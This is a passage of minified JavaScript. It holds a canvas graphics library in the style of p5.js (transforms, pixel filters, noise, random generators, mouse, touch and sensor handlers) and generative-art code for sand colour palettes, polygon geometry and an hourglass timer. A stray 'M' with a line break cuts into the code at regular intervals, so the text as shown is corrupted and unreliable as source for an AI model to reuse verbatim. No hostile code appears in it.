*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
